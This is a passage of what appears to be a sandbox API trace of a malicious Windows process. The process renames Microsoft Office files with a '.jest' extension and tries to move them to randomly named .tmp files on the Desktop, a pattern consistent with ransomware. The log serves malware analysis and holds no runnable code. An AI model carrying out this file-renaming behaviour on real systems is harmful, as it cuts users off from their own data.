lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg.jest")) returned 1 [0162.962] GetLastError () returned 0x0 [0162.962] VarBstrFromR4 (in: fltIn=0x4794564f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.62") returned 0x0 [0162.963] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SPCfYfxIG2FYqyiGkkX5g8g30iOQLyk-OjFjuqPhTgSUUOTLEI53YX3W QdyHVb0moJVUHIDYXTTpJy7r25Nktj4FV2pOAVKB9Orl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\spcfyfxig2fyqyigkkx5g8g30ioqlyk-ojfjuqphtgsuuotlei53yx3w qdyhvb0mojvuhidyxttpjy7r25nktj4fv2poavkb9orl.tmp")) returned 0 [0162.963] GetLastError () returned 0x2 [0162.964] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.964] GetLastError () returned 0x0 [0162.964] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.964] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg.jest")) returned 1 [0162.966] GetLastError () returned 0x0 [0162.966] VarBstrFromR4 (in: fltIn=0x47945651, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.63") returned 0x0 [0162.968] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kSSIv FLFCFUy__KDipKFLUQ5 j0umdwFNSiMMp8DCUlTuqIfCqru4bLyYFKPwb474NlYvuGXIbIxHTDm7Ws0SbUtynfhsmg8Hr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kssiv flfcfuy__kdipkfluq5 j0umdwfnsimmp8dcultuqifcqru4blyyfkpwb474nlyvugxibixhtdm7ws0sbutynfhsmg8hr.tmp")) returned 0 [0162.968] GetLastError () returned 0x2 [0162.969] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.969] GetLastError () returned 0x0 [0162.969] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.970] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg.jest")) returned 1 [0162.972] GetLastError () returned 0x0 [0162.972] VarBstrFromR4 (in: fltIn=0x47945651, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.63") returned 0x0 [0162.973] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\alpH UZuGpPWVPeK6RsEfbELULKzNwpdVIkCr7rmR7-VYVtN0VcvgJvdO0yiX4jYpEs-qF2VRHBWisdVtwdMY96gipQMYUjL00K9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\alph uzugppwvpek6rsefbelulkznwpdvikcr7rmr7-vyvtn0vcvgjvdo0yix4jypes-qf2vrhbwisdvtwdmy96gipqmyujl00k9.tmp")) returned 0 [0162.973] GetLastError () returned 0x2 [0162.974] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.974] GetLastError () returned 0x0 [0162.974] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.975] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg.jest")) returned 1 [0162.977] GetLastError () returned 0x0 [0162.978] VarBstrFromR4 (in: fltIn=0x47945651, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.63") returned 0x0 [0162.979] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3GIEeJ7hY37RioiWw2i6JzsA_L0 dR8PRJR8Y7UVS4TKlOMNRVU_MymdkZwZNtAwgb HY6T6 SxFnErORAj9V7vKoI6ToHchCm .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3gieej7hy37rioiww2i6jzsa_l0 dr8prjr8y7uvs4tklomnrvu_mymdkzwzntawgb hy6t6 sxfneroraj9v7vkoi6tohchcm .tmp")) returned 0 [0162.979] GetLastError () returned 0x2 [0162.980] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.981] GetLastError () returned 0x0 [0162.981] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.982] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg.jest")) returned 1 [0162.984] GetLastError () returned 0x0 [0162.984] VarBstrFromR4 (in: fltIn=0x47945653, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.65") returned 0x0 [0162.985] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sOW5z6L6xVuk0zcZEURrQuBgPf322WYIz6Z86LdKQ2nuvDT9Ff_WfSXHGQtgZuILkg5KKs_fVOLW-zCJW-i-wMiHIJBu20-JLYiVg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sow5z6l6xvuk0zczeurrqubgpf322wyiz6z86ldkq2nuvdt9ff_wfsxhgqtgzuilkg5kks_fvolw-zcjw-i-wmihijbu20-jlyivg.tmp")) returned 0 [0162.985] GetLastError () returned 0x2 [0162.986] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.986] GetLastError () returned 0x0 [0162.986] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.986] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg.jest")) returned 1 [0162.988] GetLastError () returned 0x0 [0162.988] VarBstrFromR4 (in: fltIn=0x47945653, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.65") returned 0x0 [0162.989] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\b_kTLKFSO7rZmSEDclqDcU12eHNC0sx9q4CMhlwT2C5yVOkLVmlxWGjVEGdWA1Pe8eE8e2fohMD 0YRRHTq-VxDkLkbChmI26Pj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b_ktlkfso7rzmsedclqdcu12ehnc0sx9q4cmhlwt2c5yvoklvmlxwgjvegdwa1pe8ee8e2fohmd 0yrrhtq-vxdklkbchmi26pj.tmp")) returned 0 [0162.989] GetLastError () returned 0x2 [0162.989] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.990] GetLastError () returned 0x0 [0162.990] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.990] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg.jest")) returned 1 [0162.991] GetLastError () returned 0x0 [0162.992] VarBstrFromR4 (in: fltIn=0x47945653, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.65") returned 0x0 [0162.993] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZpokG6YLM_UmbSdmb5R56CXFhk1qsZzCkrmoY9EHuhiJElOVIE6-trIoEvS6yilbQXLDmIW7PlEQtBqVUy6EBPPVexsJrgjUsjM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zpokg6ylm_umbsdmb5r56cxfhk1qszzckrmoy9ehuhijelovie6-trioevs6yilbqxldmiw7pleqtbqvuy6ebppvexsjrgjusjm.tmp")) returned 0 [0162.993] GetLastError () returned 0x2 [0162.994] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.994] GetLastError () returned 0x0 [0162.994] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.994] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg.jest")) returned 1 [0162.996] GetLastError () returned 0x0 [0162.996] VarBstrFromR4 (in: fltIn=0x47945653, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.65") returned 0x0 [0162.997] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DYHFliXUi8Y86 YR0Ht1U75IYs5ULUrm6evYHMl5kVQspggDGjWQyTiV-Glqgd9rJ6CjArC2tN66aWgodWc07aADLHE0i-FzhjSBL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dyhflixui8y86 yr0ht1u75iys5ulurm6evyhml5kvqspggdgjwqytiv-glqgd9rj6cjarc2tn66awgodwc07aadlhe0i-fzhjsbl.tmp")) returned 0 [0162.997] GetLastError () returned 0x2 [0162.997] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.998] GetLastError () returned 0x0 [0162.998] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.998] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg.jest")) returned 1 [0162.999] GetLastError () returned 0x0 [0163.000] VarBstrFromR4 (in: fltIn=0x47945655, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.66") returned 0x0 [0163.001] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CTzMT4GSwmIHijTmR9AjGNLYM2EJ6TR4GLThu8uwe8zexVKPer0dqprb9H49fbBPND8yze 39itotQzGFm-5OkbucRWitHUrMNx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ctzmt4gswmihijtmr9ajgnlym2ej6tr4glthu8uwe8zexvkper0dqprb9h49fbbpnd8yze 39itotqzgfm-5okbucrwithurmnx.tmp")) returned 0 [0163.001] GetLastError () returned 0x2 [0163.001] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.002] GetLastError () returned 0x0 [0163.002] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.002] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM.jest" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.htm.jest")) returned 1 [0163.003] GetLastError () returned 0x0 [0163.004] VarBstrFromR4 (in: fltIn=0x47945655, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.66") returned 0x0 [0163.005] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K_qf1cxJjvREM5-M4Vro5mVfC1mM4bYg91pfJefKQ1Y deo0poj8AIu7DmcFcWnC4oTQmhDkXZxl6kwpud-F9-Mlwj2131xB viry.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k_qf1cxjjvrem5-m4vro5mvfc1mm4byg91pfjefkq1y deo0poj8aiu7dmcfcwnc4otqmhdkxzxl6kwpud-f9-mlwj2131xb viry.tmp")) returned 0 [0163.005] GetLastError () returned 0x2 [0163.005] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.005] GetLastError () returned 0x0 [0163.005] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.006] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG.jest" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg.jest")) returned 1 [0163.010] GetLastError () returned 0x0 [0163.011] VarBstrFromR4 (in: fltIn=0x47945655, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.66") returned 0x0 [0163.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HMMDpBuhrFGuiQbjlGsTawFcqLPYMJp2i3vP-j3o6nV_bfTyhGOBL3JRR4g-WAIjTymHRneDuJkUVJ7_f6wzS6Zh7 dMvhZ-tvkD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hmmdpbuhrfguiqbjlgstawfcqlpymjp2i3vp-j3o6nv_bftyhgobl3jrr4g-waijtymhrnedujkuvj7_f6wzs6zh7 dmvhz-tvkd.tmp")) returned 0 [0163.012] GetLastError () returned 0x2 [0163.012] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.013] GetLastError () returned 0x0 [0163.013] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.013] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg.jest")) returned 1 [0163.017] GetLastError () returned 0x0 [0163.018] VarBstrFromR4 (in: fltIn=0x47945657, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.68") returned 0x0 [0163.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kScmE7uD4queL25zIw8PMXMb1_iLbz1dSsFXvlhV CBZG6-PeUQghGSBx8c9M-UDmpz-MwzSytuK_LkQH2FQCj723RgPnO2dP4l79.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kscme7ud4quel25ziw8pmxmb1_ilbz1dssfxvlhv cbzg6-peuqghgsbx8c9m-udmpz-mwzsytuk_lkqh2fqcj723rgpno2dp4l79.tmp")) returned 0 [0163.019] GetLastError () returned 0x2 [0163.019] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.020] GetLastError () returned 0x0 [0163.020] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.020] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg.jest")) returned 1 [0163.023] GetLastError () returned 0x0 [0163.023] VarBstrFromR4 (in: fltIn=0x47945657, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.68") returned 0x0 [0163.024] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iLY5yCH8gp4-EKG5GwIRpqiHzZ EUS7Zw8tbnSO0smM_PKGECQh0x4E tLfXf0IukFgfEWtG3fsx1gVyTfLKkamMzl7C 1Z9PWNg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ily5ych8gp4-ekg5gwirpqihzz eus7zw8tbnso0smm_pkgecqh0x4e tlfxf0iukfgfewtg3fsx1gvytflkkammzl7c 1z9pwng.tmp")) returned 0 [0163.024] GetLastError () returned 0x2 [0163.025] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.025] GetLastError () returned 0x0 [0163.025] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.026] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.jest")) returned 1 [0163.027] GetLastError () returned 0x0 [0163.027] VarBstrFromR4 (in: fltIn=0x47945657, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.68") returned 0x0 [0163.028] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dwkZCBh5fJpin8wRBJ2_D7Kws9hVI_TboE6G9cQQ3_IuPhSejrNm_YyJqx9s2iL7dS85S9soL6KTVON7fsSOzBtMbpfwj82pPj_.tmp" (normalized: "c:\\users\\5p5nrgjn0js 